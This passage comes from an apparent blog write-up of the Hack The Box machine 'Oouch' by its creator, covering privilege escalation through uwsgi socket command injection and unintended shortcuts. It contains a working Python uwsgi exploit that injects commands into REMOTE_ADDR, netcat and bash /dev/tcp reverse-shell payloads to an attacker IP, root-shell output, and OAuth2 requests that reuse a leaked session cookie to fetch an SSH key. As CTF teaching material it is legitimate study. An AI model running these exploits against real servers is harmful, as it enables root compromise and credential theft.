-->\n\n<!-- wp:list -->\n<ul><li>The consumer application blocks IP addresses once it encounters malicious input.<\/li><li>The consumer application uses&nbsp;<em>DBus&nbsp;<\/em>communication to send the IP address of the client to a&nbsp;<em>dbus-server<\/em>.<\/li><li><code>dbus-server<\/code>&nbsp;is running as root and probably uses&nbsp;<em>iptables<\/em>&nbsp;to block malicious users.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>The interesting question for us is now how&nbsp;<code>dbus-server<\/code>&nbsp;performs the IP block using&nbsp;<em>iptables<\/em>. If we are lucky, it just takes the input of the consumer application and throws this unfiltered in a call to&nbsp;<code>system()<\/code>. In this case, the consumer application could easily execute commands as the&nbsp;<strong>root<\/strong>&nbsp;user account on the&nbsp;<em>Oouch&nbsp;<\/em>server. We can run&nbsp;<code>pspy64<\/code>&nbsp;on the&nbsp;<em>Oouch&nbsp;<\/em>server and submit a malicious request inside of the contact form. If our assumptions are correct, we should catch the corresponding&nbsp;<em>iptables&nbsp;<\/em>call that contains our IP address.qtc@oouch:\/tmp$ .\/pspy 2&gt;\/dev\/null2019\/09\/04 11:30:21 CMD: UID=33 PID=928 | \/venv\/bin\/uwsgi --<strong>show<\/strong>-config [...]2019\/09\/04 11:33:19 CMD: UID=0 PID=3078 | sh -c iptables -A PREROUTING -s 10.10.14.37 -t mangle -j DROP<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here it is.Chances are high that the consumer application can inject commands inside the&nbsp;<em>iptables&nbsp;<\/em>call, that are executed as the&nbsp;<strong>root&nbsp;<\/strong>user on&nbsp;<em>Oouch<\/em>. But we are still&nbsp;<em>qtc&nbsp;<\/em>and have no permissions to modify the application code. Maybe we can inject commands into the IP address using&nbsp;<em>HTTP&nbsp;<\/em>headers like&nbsp;<strong>X-Forwarded-For<\/strong>&nbsp;during a malicious contact request? Well, from my perspective this should not work. When looking at the code you find that the consumer application checks the&nbsp;<em>uwsgi&nbsp;<\/em>parameter&nbsp;<code>REMOTE_ADDR<\/code>&nbsp;to determine the IP address of the client. When looking at the&nbsp;<em>uwsgi&nbsp;<\/em>parameters of&nbsp;<em>nginx<\/em>, you will find that this one is mapped to&nbsp;<code>$remote_addr<\/code>:qtc@72ddb6be7ede:\/etc\/nginx$ cat uwsgi_params uwsgi_param <strong>QUERY_STRING<\/strong> $query_string;uwsgi_param <strong>REQUEST_METHOD<\/strong> $request_method;uwsgi_param <strong>CONTENT_TYPE<\/strong> $content_type;uwsgi_param <strong>CONTENT_LENGTH<\/strong> $content_length;uwsgi_param <strong>REQUEST_URI<\/strong> $request_uri;uwsgi_param <strong>PATH_INFO<\/strong> $document_uri;uwsgi_param <strong>DOCUMENT_ROOT<\/strong> $document_root;uwsgi_param <strong>SERVER_PROTOCOL<\/strong> $server_protocol;uwsgi_param <strong>REQUEST_SCHEME<\/strong> $scheme;uwsgi_param <strong>HTTPS<\/strong> $https if_not_empty;uwsgi_param <strong>REMOTE_ADDR<\/strong> $remote_addr;uwsgi_param <strong>REMOTE_PORT<\/strong> $remote_port;uwsgi_param <strong>SERVER_PORT<\/strong> $server_port;uwsgi_param <strong>SERVER_NAME<\/strong> $server_name;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the&nbsp;<em>nginx&nbsp;<\/em>documentation, you find that this variable should always contain the&nbsp;<em>real client IP<\/em>&nbsp;address that is not influenced by any&nbsp;<em>HTTP&nbsp;<\/em>headers. But wait a minute! We may skipped some relevant information for people that are not familiar with&nbsp;<em>uwsgi&nbsp;<\/em>and how it is deployed on production services. Well, Python web applications written in&nbsp;<em>Flask&nbsp;<\/em>or&nbsp;<em>Django<\/em>&nbsp;follow the&nbsp;<em>WSGI<\/em>&nbsp;(<em>Python Web Server Gateway Interface<\/em>) specification and need to be run by a dedicated service like&nbsp;<em>uwsgi<\/em>. While&nbsp;<em>uwsgi&nbsp;<\/em>also implements a standalone web server, it is considered best practice to put your&nbsp;<em>uwsgi&nbsp;<\/em>application behind a dedicated web server like&nbsp;<em>nginx&nbsp;<\/em>(more stable, more secure, \u2026). In such a setup,&nbsp;<em>uwsgi&nbsp;<\/em>just opens a&nbsp;<em>unix domain socket<\/em>&nbsp;on your server and&nbsp;<em>nginx&nbsp;<\/em>is configured to forward requests to that&nbsp;<em>unix domain socket<\/em>.&nbsp;<em>uwsgi&nbsp;<\/em>will then process the request and transfer the result back to&nbsp;<em>nginx<\/em>, which returns the response to the actual user. The whole process can be represented like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15252} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/29-uwsgi.png\" alt=\"\" class=\"wp-image-15252\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now when looking at the uwsgi configuration of our Flask application, we can see that it spawns the unix domain socket inside the&nbsp;<code>\/tmp<\/code>&nbsp;folder:qtc@72ddb6be7ede:\/code$ cat uwsgi.ini <strong>[uwsgi]<\/strong><strong>module <\/strong>= oouch:app<strong>uid <\/strong>= www-data<strong>gid <\/strong>= www-data<strong>master <\/strong>= <strong>true<\/strong><strong>processes <\/strong>= 10<strong>socket <\/strong>= \/tmp\/uwsgi.socket<strong>chmod-sock <\/strong>= 777<strong>vacuum <\/strong>= <strong>true<\/strong><strong>die-on-term <\/strong>= <strong>true<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The configuration file further tells us, that the socket permissions are set to&nbsp;<em>777<\/em>&nbsp;(while building the machine it turned out that the socket permissions inside the configuration file are ignored by&nbsp;<em>uwsgi<\/em>. Therefore, they are additionally specified on the command line with&nbsp;<em>666<\/em>). This tells us that anyone is able to write to and read from the socket. Instead of trying to inject a malicious IP string inside a request made by&nbsp;<em>nginx<\/em>, we can now send a malicious IP string ourselfs by directly contacting the&nbsp;<em>unix domain socket<\/em>. The following steps are required to perform the attack:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Figure out how to communicate to the&nbsp;<em>uwsgi&nbsp;<\/em>socket.<\/li><li>Send a malicious message to the&nbsp;<code>\/contact<\/code>&nbsp;endpoint using the&nbsp;<em>uwsgi&nbsp;<\/em>socket directly.<\/li><li>Include a&nbsp;<code>REMOTE_ADDR<\/code>&nbsp;parameter that contains a command injection string.<\/li><li>Obtain a root shell!<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"performing-exploit\">4.5 \u2013 Performing the Exploit<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most difficult part when performing the command injection is to figure out how to communicate to the&nbsp;<em>uwsgi unix domain socket<\/em>. Probably for performance reasons, the communication protocol that is used by&nbsp;<em>uwsgi&nbsp;<\/em>is slightly different from simple&nbsp;<em>HTTP<\/em>. Incoming&nbsp;<em>HTTP&nbsp;<\/em>requests are parsed by&nbsp;<em>nginx&nbsp;<\/em>into several parameters that are sent as binary structures to the&nbsp;<em>uwsgi&nbsp;<\/em>service. The detailed specification can be looked at inside the&nbsp;<a href=\"https:\/\/uwsgi-docs.readthedocs.io\/en\/latest\/\" target=\"_blank\" rel=\"noreferrer noopener\">uwsgi documentation<\/a>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of reinventing the wheel, we can just look if someone has already developed some tools to easily communicate with&nbsp;<em>uwsgi&nbsp;<\/em>sockets and during my search, I found this handy&nbsp;<em>GitHub&nbsp;<\/em>repository:&nbsp;<a href=\"https:\/\/github.com\/andreif\/uwsgi-tools\" target=\"_blank\" rel=\"noreferrer noopener\">uwsgi-tools<\/a>. It includes a&nbsp;<em>uwsgi&nbsp;<\/em>implementation of&nbsp;<em>curl&nbsp;<\/em>which is exactly what we are looking for. Unfortunately (at the time of writing), the provided&nbsp;<em>curl&nbsp;<\/em>tool does not support usage of&nbsp;<em>unix domain sockets<\/em>, but expects&nbsp;<em>uwsgi&nbsp;<\/em>to bind at ordinary&nbsp;<em>UDP&nbsp;<\/em>or&nbsp;<em>TCP&nbsp;<\/em>ports. Therefore, we have to modify the code quite a bit in order to make it work. For testing purposes I did first of all implement a version that performs a&nbsp;<em>GET&nbsp;<\/em>requests on the login endpoint:<strong>import<\/strong> sys<strong>import<\/strong> socket<strong>import<\/strong> ctypes<strong>from <\/strong><em>urllib.parse<\/em><strong> import<\/strong> urlsplit# First we need to define some structures that are used by the uwsgi protocol.# Big thanks to: https:\/\/github.com\/andreif\/uwsgi-tools<strong>class<\/strong> UwsgiPacketHeader(ctypes.Structure): <em>\"\"\"<\/em><em> struct uwsgi_packet_header {<\/em><em> uint8_t modifier1;<\/em><em> uint16_t datasize;<\/em><em> uint8_t modifier2;<\/em><em> }<\/em><em> \"\"\"<\/em> _pack_ = 1 _fields_ = [ (\"modifier1\", ctypes.c_int8), (\"datasize\", ctypes.c_int16), (\"modifier2\", ctypes.c_int8), ]<strong>class<\/strong> UwsgiVar(object): <em>\"\"\"<\/em><em> struct uwsgi_var {<\/em><em> uint16_t key_size;<\/em><em> uint8_t key[key_size];<\/em><em> uint16_t val_size;<\/em><em> uint8_t val[val_size];<\/em><em> }<\/em><em> \"\"\"<\/em><strong>def<\/strong> __new__(self, key_size, key, val_size, val): <strong>class<\/strong> UwsgiVar(ctypes.Structure): _pack_ = 1 _fields_ = [ (\"key_size\", ctypes.c_int16), (\"key\", ctypes.c_char * key_size), (\"val_size\", ctypes.c_int16), (\"val\", ctypes.c_char * val_size), ] <strong>return<\/strong> UwsgiVar(key_size, key, val_size, val) @classmethod <strong>def<\/strong> from_buffer(cls, buffer, offset=0): key_size = ctypes.c_int16.from_buffer(buffer, offset).value offset += ctypes.sizeof(ctypes.c_int16) key = (ctypes.c_char * key_size).from_buffer(buffer, offset).value offset += ctypes.sizeof(ctypes.c_char * key_size) val_size = ctypes.c_int16.from_buffer(buffer, offset).value offset += ctypes.sizeof(ctypes.c_int16) val = (ctypes.c_char * val_size).from_buffer(buffer, offset).value <strong>return<\/strong> cls(key_size, key, val_size, val)# This function parses variables from python to uwsgi format. # Again credits go to: https:\/\/github.com\/andreif\/uwsgi-tools<strong>def<\/strong> pack_uwsgi_vars(var): encoded_vars = [ (k.encode('utf-8'), v.encode('utf-8')) <strong>for<\/strong> k, v <strong>in<\/strong> var.items() ] packed_vars = b''.join( bytes(UwsgiVar(len(k), k, len(v), v)) <strong>for<\/strong> k, v <strong>in<\/strong> encoded_vars ) packet_header = bytes(UwsgiPacketHeader(0, len(packed_vars), 0)) <strong>return<\/strong> packet_header + packed_vars<strong>def<\/strong> send_to_uwsgi(addr, var, body=''): <em>'''<\/em><em> Opens a connection to a uwsgi unix domain socket and sends a request to it. The response will be returned by the<\/em><em> function.<\/em><em><\/em><em> Parameters:<\/em><em> addr (String) Address of the unix domain socket.<\/em><em> var (dict) uwsgi variables.<\/em><em> body (String) Optional body for POST requests.<\/em><em><\/em><em> Returns:<\/em><em> response (String) Response from the uwsgi socket.<\/em><em> '''<\/em> sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(addr) <strong>if<\/strong> body <strong>is<\/strong><strong>None<\/strong>: body = '' print(pack_uwsgi_vars(var) + body.encode('utf8')) sock.send(pack_uwsgi_vars(var) + body.encode('utf8')) response = [] <strong>while<\/strong> 1: data = sock.recv(4096) <strong>if<\/strong> not data: <strong>break<\/strong> response.append(data) sock.close() <strong>return<\/strong> b''.join(response).decode('utf8')<strong>def<\/strong> exploit(): <em>'''<\/em><em> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/em><em><\/em><em> Parameters:<\/em><em> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/em><em> session_id (String) The contact form can only be used by authenticated users.<\/em><em> payload (String) This is the command that is executed.<\/em><em><\/em><em> Returns:<\/em><em> None<\/em><em> '''<\/em> body = '' var = { 'SERVER_PROTOCOL': 'HTTP\/1.1', 'PATH_INFO': '\/login', 'REQUEST_METHOD': 'GET', 'REQUEST_URI': '\/login', 'HTTP_HOST': 'consumer.oouch.htb:5000', } var['SERVER_NAME'] = 'consumer.oouch.htb' var['SERVER_PORT'] = \"5000\" result = send_to_uwsgi(addr='\/tmp\/uwsgi.socket', var=var, body=body) print(result)exploit()<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can use&nbsp;<em>scp&nbsp;<\/em>to transfer the&nbsp;<em>Python&nbsp;<\/em>script onto the container. Since the container runs a&nbsp;<em>Flask&nbsp;<\/em>application, we can expect that this code should run without the need of reinstalling certain tools or packages. By just executing the script, we get the following output:qtc@72ddb6be7ede:\/tmp$ python3 exploit.py b'x00xb0x00x00x0fx00SERVER_PROTOCOLx08x00HTTP\/1.1tx00PATH_INFOx06x00\/loginx0ex00REQUEST_METHODx03x00GETx0bx00REQUEST_URIx06x00\/logintx00HTTP_HOSTx17x00consumer.oouch.htb:5000x0bx00SERVER_NAMEx12x00consumer.oouch.htbx0bx00SERVER_PORTx04x005000'HTTP\/1.1 200 OKContent-Type: text\/html; charset=utf-8Content-Length: 1828Vary: CookieSet-Cookie: session=eyJjc3JmX3Rva2VuIjoiMTljYzExMTc1N2ExYWI5MGQ0MThlOGMwYzEwZTJmZjQzMmVkOGNmNSJ9.XW-RXw.X_MBXEPKB7FjrvQP67L0tOoO77k; HttpOnly; Path=\/&lt;html&gt; &lt;head&gt; &lt;title&gt;Welcome to Oouch&lt;\/title&gt;[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sweet! This is the login page of the consumer application. Now we should perform a login onto the application using our webbrowser and obtain a valid session cookie and&nbsp;<em>CSRF&nbsp;<\/em>token. Once both of them are obtained, we can start to develop the actual exploit.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Developing the exploit can be kind of frustrating, since&nbsp;<em>uwsgi&nbsp;<\/em>makes some odd assumptions on the passed parameters and is not very verbose concerning its error messages. For example, one need to specify the body of a&nbsp;<em>HTTP POST&nbsp;<\/em>message inside a&nbsp;<em>uwsgi&nbsp;<\/em>parameter as well as in an additional binary blob. This is kind of weird, but with the time it should be possible to guess the correct format. My final exploitation script looks like this (only the modified sections are shown):<strong>def<\/strong> exploit(csrf_token, session_id, payload): <em>'''<\/em><em> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/em><em><\/em><em> Parameters:<\/em><em> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/em><em> session_id (String) The contact form can only be used by authenticated users.<\/em><em> payload (String) This is the command that is executed.<\/em><em><\/em><em> Returns:<\/em><em> None<\/em><em> '''<\/em> body = f'csrf_token={csrf_token}&amp;textfield=&lt;script&gt;&amp;submit=Send' var = { 'SERVER_PROTOCOL': 'HTTP\/1.1', 'PATH_INFO': '\/contact', 'REQUEST_METHOD': 'POST', 'REQUEST_URI': '\/contact', # For some reason one needs to define the body twice. No idea why... 'DOCUMENT_BODY': f'csrf_token={csrf_token}&amp;textfield=&lt;script&gt;&amp;submit=Send', 'HTTP_HOST': 'consumer.oouch.htb:5000', 'CONTENT_LENGTH': str(len(body)), 'CONTENT_TYPE': \"application\/x-www-form-urlencoded\" } var['HTTP_COOKIE'] = f'session={session_id}' var['SERVER_NAME'] = 'consumer.oouch.htb' var['SERVER_PORT'] = \"5000\" var['REMOTE_ADDR']= f'8.8.8.8; {payload} #' result = send_to_uwsgi(addr='\/tmp\/uwsgi.socket', var=var, body=body) print(result)<strong>if<\/strong> len(sys.argv) != 4: print(f'[-] {sys.argv[0]} &lt;CSRF_TOKEN&gt; &lt;SESSION_ID&gt; &lt;CMD&gt;') sys.exit(1)exploit(sys.argv[1], sys.argv[2], sys.argv[3])<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If there is really a command injection vulnerability inside the&nbsp;<em>DBus&nbsp;<\/em>server application, we should be able to execute a reverse shell by running the following command:qtc@72ddb6be7ede:\/tmp$ python3 exploit.py 'ImM[...]' '.eJwl[...]' 'nc -e \/bin\/bash 10.10.14.37 4444'b'x00.x03x00x0fx00SERVER_PROTOCOLx08x00HTTP\/1.1tx00PATH_INFOx08x00\/contactx0ex00REQUEST_METHODx04x00POSTx0bx00REQUEST_URIx08x00\/contactrx00DOCUMENT_BODYx85x00csrf_token=ImM5ODEyYzhkMWNlZTg5N2UzNjljYmUyN2Q5OGFhYWNhMWFkN2NhNTMi.XW-TTA.4w1H-kcFYQwefQQqACKt_mONVXU&amp;textfield=&lt;script&gt;&amp;submit=Sendtx00HTTP_HOSTx17x00consumer.oouch.htb:5000x0ex00CONTENT_LENGTHx03x00133x0cx00CONTENT_TYPE!x00application\/x-www-form-urlencodedx0bx00HTTP_COOKIERx01session=.eJwlT8tqwzAQ_BWhcyhePXalfEXvJYTN7io2deNiOaeQf6-gp2GYBzMvf20r99m6P3-9vDsG-B_rne_mT_5zNe7m1u3uloc7NsciQ3THvHT3Ozwf_vK-nEbJbn3252N_2mCL-rMH0Rwy1lBi1RrJgnCcahGWnFqpSFBAUEpCyylUnBC4pZaRKSgEpYIpEwGKtsgE1agQZiQGYwio0mqeUjIwiI2FVSlyKkZ6i0HGfOl7ux7btz3GHqkFghQFMSuVLGKVmwXSWphHGlhJOMeRe3bb_08E__4DP1BWKA.XW-E2g.egx_yfQSUOEVa_sCL4Qz0QJSUfkx0bx00SERVER_NAMEx12x00consumer.oouch.htbx0bx00SERVER_PORTx04x005000x0bx00REMOTE_ADDR-x008.8.8.8; \/usr\/bin\/nc -e \/bin\/bash -vlp 4444 #csrf_token=ImM5ODEyYzhkMWNlZTg5N2UzNjljYmUyN2Q5OGFhYWNhMWFkN2NhNTMi.XW-TTA.4w1H-kcFYQwefQQqACKt_mONVXU&amp;textfield=&lt;script&gt;&amp;submit=Send'<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And on our netcal listener we receive finally our root shell:[pentester@kali ~]$ nc -vlp 4444Ncat: Version 7.80 ( https:\/\/nmap.org\/ncat )Ncat: Listening <strong>on<\/strong> :::4444Ncat: Listening <strong>on<\/strong> 0.0.0.0:4444Ncat: Connection from 10.10.10.177.Ncat: Connection from 10.10.10.177:59538.iduid=0(root) gid=0(root) groups=0(root)ls -latotal 76drwx------ 6 root root 4096 Feb 25 12:31 .drwxr-xr-x 18 root root 4096 Feb 11 17:51 ..lrwxrwxrwx 1 root root 9 Feb 11 18:34 .bash_history -&gt; \/dev\/null-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrcdrwxr-xr-x 3 root root 4096 Feb 11 18:34 .cache-rw-r--r-- 1 root root 334 Feb 11 18:34 credits.txt-rwxr-xr-x 1 root root 17904 Feb 11 18:34 dbus-server-rw-r--r-- 1 root root 4876 Feb 11 18:34 dbus-server.c-rw-r--r-- 1 root root 0 Jun 30 09:32 get_pwnd.log-rwxr-xr-x 1 root root 7121 Feb 23 15:08 get_pwnd.pydrwx------ 3 root root 4096 Feb 11 18:33 .gnupgdrwxr-xr-x 3 root root 4096 Feb 25 12:31 .local-rw-r--r-- 1 root root 148 Aug 17 2015 .profile-rw------- 1 root root 33 Jun 30 07:11 root.txtdrwxr-xr-x 2 root root 4096 Feb 13 06:49 .sshcat root.txt | wc -c 33<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here we go! Remember, even on internal interfaces like&nbsp;<em>DBus&nbsp;<\/em>one should always perform strict validation on user controlled input!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"unintended-soltuions\">5.0 \u2013 Unintended Solutions<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As mentioned earlier, building intentionally vulnerable machines is a hard business and unintended ways are very common.&nbsp;<em>Oouch&nbsp;<\/em>is no exception and there are two unintended ways I\u2019m aware of. Fortunately, both of them only allow you to cut some corners and do not provide a full bypass around the intended solution. So let me explain what went wrong.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"cookie-scope\">5.1 \u2013 Cookie Scope<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As demonstrated above, the intended solution to obtain the ssh private key from&nbsp;<em>qtc&nbsp;<\/em>was to register a consumer application and trick&nbsp;<em>qtc&nbsp;<\/em>to authorize it for the&nbsp;<em>authorization_code&nbsp;<\/em>flow. However, looking back to the incoming request from&nbsp;<em>qtc<\/em>, there is some additional information one can obtain. Above I only showed you the incoming request using a Python webserver, but with a&nbsp;<em>netcat&nbsp;<\/em>listener, one can identify that&nbsp;<em>qtc\u2019s&nbsp;<\/em>request contains a cookie:[pentester@kali ~]$ nc -vlp 8000Ncat: Version 7.80 ( https:\/\/nmap.org\/ncat )Ncat: Listening <strong>on<\/strong> :::8000Ncat: Listening <strong>on<\/strong> 0.0.0.0:8000Ncat: Connection from 10.10.10.177.Ncat: Connection from 10.10.10.177:37598.<strong>GET<\/strong> \/token?code=lwyFbzBWLPdyctVW68nHJc0DE2XJ1z HTTP\/1.1Host: 10.10.14.37:8000<strong>User<\/strong>-Agent: python-requests\/2.21.0Accept-Encoding: gzip, deflateAccept: *\/*Connection: keep-aliveCookie: sessionid=hqbmi2qaqf3y8wlodshthr782o7uy0bi;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the session cookie of&nbsp;<em>qtc&nbsp;<\/em>for the authorization server and obtaining this one as the consumer application is of course not realistic. The issue is caused by the Python script I used to simulate the requests from&nbsp;<em>qtc<\/em>.<strong>if<\/strong> authorization_urls: authorization_cookie = login_authorization('qtc', f'{password}') visit_them(authorization_urls, {'sessionid' : authorization_cookie}, timeout=15)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When building the machine I decided against the usage of a&nbsp;<code>requests.Session<\/code>&nbsp;object and instead chose to handle the session management manually. Above you can see, that the script just performs a simple login and then visits all&nbsp;<code>authorization_urls<\/code>&nbsp;with the corresponding cookie. What I did not expect is&nbsp;<code>requests<\/code>&nbsp;to send this cookie also when being redirected, but this is exactly what happens on&nbsp;<em>Oouch<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How can we profit from the cookie? Well, even with&nbsp;<em>qtc\u2019s&nbsp;<\/em>cookie you do not have direct access to the&nbsp;<code>\/api\/get_ssh<\/code>&nbsp;endpoint. However, you can take a different&nbsp;<em>OAuth2&nbsp;<\/em>flow to obtain an&nbsp;<em>access_token<\/em>. The&nbsp;<em>client_credentials&nbsp;<\/em>flow is for situations, where the consumer application is able to logon on the authorization server as the user. This can either be done by using the users credentials directly or by using his sessionid. Instead of registering an application for the&nbsp;<em>authroization_code&nbsp;<\/em>flow (as it was demonstrated above) we can now register for the&nbsp;<em>client_credentials&nbsp;<\/em>flow and use a slightly different&nbsp;<em>API&nbsp;<\/em>call:<strong>POST<\/strong> \/oauth\/token\/ <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Accept<\/strong>: *\/*<strong>Connection<\/strong>: keep-alive<strong>Content<\/strong>-<strong>Length<\/strong>: 223<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencodedclient_id=<strong>PRheLSmP5KhDb54AwAUoVUriRM1TwxnaUP4Tba95<\/strong>&amp;client_secret=a4839uLDGtTH28zUeZDh6oDaHlTz8NBi2TgxjLN2OStKk1pGD89h5moqeoEKS9wdarh5QBn5nzV25RuLqgVNhH9iuvZwyOgc8g7VV4fooMaLObgna6nnsMwEiAQAT8lA&amp;grant_type=client_credentials<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The servers response will again contain an&nbsp;<code>access_token<\/code>, but this one can only be used in combination with valid&nbsp;<code>client_credentials<\/code>.<strong>HTTP<\/strong>\/1.1 200 <strong>OK<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: application\/json<strong>Cache<\/strong>-<strong>Control<\/strong>: no-store<strong>Pragma<\/strong>: no-cache<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 116<strong>Vary<\/strong>: <strong>Authorization<\/strong>{\"access_token\": \"Geptn6LLm2nyFZo4ERhi8fp34HOG0f\", \"expires_in\": 600, \"token_type\": \"Bearer\", \"scope\": \"read write\"}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Together with the cookie of&nbsp;<em>qtc<\/em>, it is again possible to obtain his&nbsp;<em>ssh&nbsp;<\/em>key:<strong>GET<\/strong> \/api\/get_ssh <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>User<\/strong>-<strong>Agent<\/strong>: python-requests\/2.20.1<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Accept<\/strong>: *\/*<strong>Connection<\/strong>: keep-alive<strong>Content<\/strong>-<strong>Length<\/strong>: 0<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencoded<strong>Authorization<\/strong>: <strong>Bearer<\/strong><strong>Geptn6LLm2nyFZo4ERhi8fp34HOG0f<\/strong><strong>Cookie<\/strong>: sessionid=hqbmi2qaqf3y8wlodshthr782o7uy0bi;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Server Response:<strong>HTTP<\/strong>\/1.1 200 <strong>OK<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 2708<strong>Vary<\/strong>: <strong>Authorization<\/strong>, <strong>Cookie<\/strong>{\"ssh_server\": \"consumer.oouch.htb\", \"ssh_user\": \"qtc\", \"ssh_key\": \"[...]\"}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As already said, this is only a minor shortcut. Unfortunately it makes the box more unrealisitic and&nbsp;<em>CTF&nbsp;<\/em>like, as this is not the way a&nbsp;<em>CSRF&nbsp;<\/em>attack would look like in practice.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"odd-uwsgi\">5.2 \u2013 Odd UWSGI Functionalities<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When I was building the privilege escalation for&nbsp;<em>Oouch<\/em>, I was really happy with the&nbsp;<em>uwsgi&nbsp;<\/em>method and thought it will be a cool challenge. However, I did not expect that&nbsp;<em>uwsgi&nbsp;<\/em>allows command execution per default for each user that is able to connect to it directly.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technique that can be used to achieve this is described in&nbsp;<a href=\"https:\/\/github.com\/wofeiwo\/webcgi-exploits\/blob\/master\/python\/uwsgi-rce-zh.md\" target=\"_blank\" rel=\"noreferrer noopener\">this article<\/a>. Essentially,&nbsp;<em>uwsgi&nbsp;<\/em>supports an additional parameter called&nbsp;<code>UWSGI_FILE<\/code>. This can be used to dynamically load a different python app. As if that isn\u2019t bad enough, the parameter can contain different protocol wrappers. One of them is the&nbsp;<code>exec:\/\/<\/code>&nbsp;wrapper, that allows you command execution right away.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most straight forward way to exploit this issue is probably using the python script from the&nbsp;<em>GitHub&nbsp;<\/em>repository mentioned above. However, it is also possible to simply adopt our previous exploit to this new situation. The exploit function would look like this:<strong>def<\/strong> exploit(): <em>'''<\/em><em> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/em><em> Parameters:<\/em><em> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/em><em> session_id (String) The contact form can only be used by authenticated users.<\/em><em> payload (String) This is the command that is executed.<\/em><em> Returns:<\/em><em> None<\/em><em> '''<\/em> body = '' var = { 'SERVER_PROTOCOL': 'HTTP\/1.1', 'PATH_INFO': '\/login', 'REQUEST_METHOD': 'GET', 'REQUEST_URI': '\/login', 'HTTP_HOST': 'consumer.oouch.htb:5000', 'UWSGI_FILE': 'exec:\/\/bash -c \"bash &amp;&gt; \/dev\/tcp\/10.10.14.37\/4444 0&lt;&amp;1\"; echo test' 'SCRIPT_NAME': \"\/login\" } var['SERVER_NAME'] = 'consumer.oouch.htb' var['SERVER_PORT'] = \"5000\" result = send_to_uwsgi(addr='\/tmp\/uwsgi.socket', var=var, body=body) print(result)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using this modified exploit, we can obtaina shell as&nbsp;<code>www-data<\/code>:[pentester@kali www]$ nc -vlp 4444Ncat: Version 7.80 ( https:\/\/nmap.org\/ncat )Ncat: Listening <strong>on<\/strong> :::4444Ncat: Listening <strong>on<\/strong> 0.0.0.0:4444Ncat: Connection from 10.10.10.177.Ncat: Connection from 10.10.10.177:36552.iduid=33(www-data) gid=33(www-data) groups=33(www-data)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the user&nbsp;<code>www-data<\/code>&nbsp;we are now allowed to access the&nbsp;<em>Dbus&nbsp;<\/em>interface directly and do no longer need to use&nbsp;<em>uwsgi<\/em>. This makes the privesc really simple, as 